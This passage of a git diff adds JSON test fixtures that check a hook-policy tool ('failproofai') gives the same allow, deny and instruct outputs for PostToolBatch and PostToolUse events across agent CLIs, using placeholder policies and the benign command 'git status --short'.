"/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/PostToolBatch/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/PostToolBatch/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..969f1128 --- /dev/null +++ b/__tests__/parity/fixtures/pi/PostToolBatch/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "pi", + "decision_kind": "instruct", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/PostToolBatch/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/pi/PostToolBatch/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..9b448ab3 --- /dev/null +++ b/__tests__/parity/fixtures/pi/PostToolBatch/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "instruct", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/PostToolBatch/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/PostToolBatch/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..3a1c4a85 --- /dev/null +++ b/__tests__/parity/fixtures/pi/PostToolBatch/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "pi", + "decision_kind": "instruct", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/PostToolBatch/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/PostToolBatch/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..9efbbf47 --- /dev/null +++ b/__tests__/parity/fixtures/pi/PostToolBatch/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "pi", + "decision_kind": "instruct", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/PostToolUse/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/PostToolUse/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..234ea64a --- /dev/null +++ b/__tests__/parity/fixtures/pi/PostToolUse/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "pi", + "decision_kind": "allow-silent", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/PostToolUse/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/pi/PostToolUse/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..823ad866 --- /dev/null +++ b/__tests__/parity/fixtures/pi/PostToolUse/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "allow-silent", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/PostToolUse/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/PostToolUse/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..9c2e9c12 --- /dev/null +++ b/__tests__/parity/fixtures/pi/PostToolUse/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "pi", + "decision_kind": "allow-silent", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/PostToolUse/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/PostToolUse/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..c16e94ad --- /dev/null +++ b/__tests__/parity/fixtures/pi/PostToolUse/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "pi", + "decision_kind": "allow-silent", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/PostToolUse/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/PostToolUse/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..e244291d --- /dev/null +++ b/__tests__/parity/fixtures/pi/PostToolUse/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/PostToolUse/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/pi/PostToolUse/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..622c1ace --- /dev/null +++ b/__tests__/parity/fixtures/pi/PostToolUse/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/PostToolUse/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/PostToolUse/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..7ca7b3c5 --- /dev/null +++ b/__tests__/parity/fixtures/pi/PostToolUse/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/PostToolUse/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/PostToolUse/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..9a04bdba --- /dev/null +++ b/__tests__/parity/fixtures/pi/PostToolUse/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/PostToolUse/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/PostToolUse/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..55fbef45 --- /dev/null +++ b/__tests__/parity/fixtures/pi/PostToolUse/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "pi", + "decision_kind": "deny", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/PostToolUse/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/pi/PostToolUse/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..8f60bb37 --- /dev/null +++ b/__tests__/parity/fixtures/pi/PostToolUse/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "deny", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/PostToolUse/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/PostToolUse/deny__tool-present__one-policy.json new file mode 100644 index 00000000..f9a022c4 --- /dev/null +++ b/__tests__/parity/fixtures/pi/PostToolUse/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "pi", + "decision_kind": "deny", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/PostToolUse/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/PostToolUse/deny__tool-present__two-policies.json new file mode 100644 index 00000000..5341d0d6 --- /dev/null +++ b/__tests__/parity/fixtures/pi/PostToolUse/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "pi", + "decision_kind": "deny", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/PostToolUse/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/PostToolUse/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..80e1eb7b --- /dev/null +++ b/__tests__/parity/fixtures/pi/PostToolUse/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "pi", + "decision_kind": "instruct", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/PostToolUse/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/pi/PostToolUse/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..5bc75d62 --- /dev/null +++ b/__tests__/parity/fixtures/pi/PostToolUse/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "instruct", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/PostToolUse/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/PostToolUse/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..2dcc92ad --- /dev/null +++ 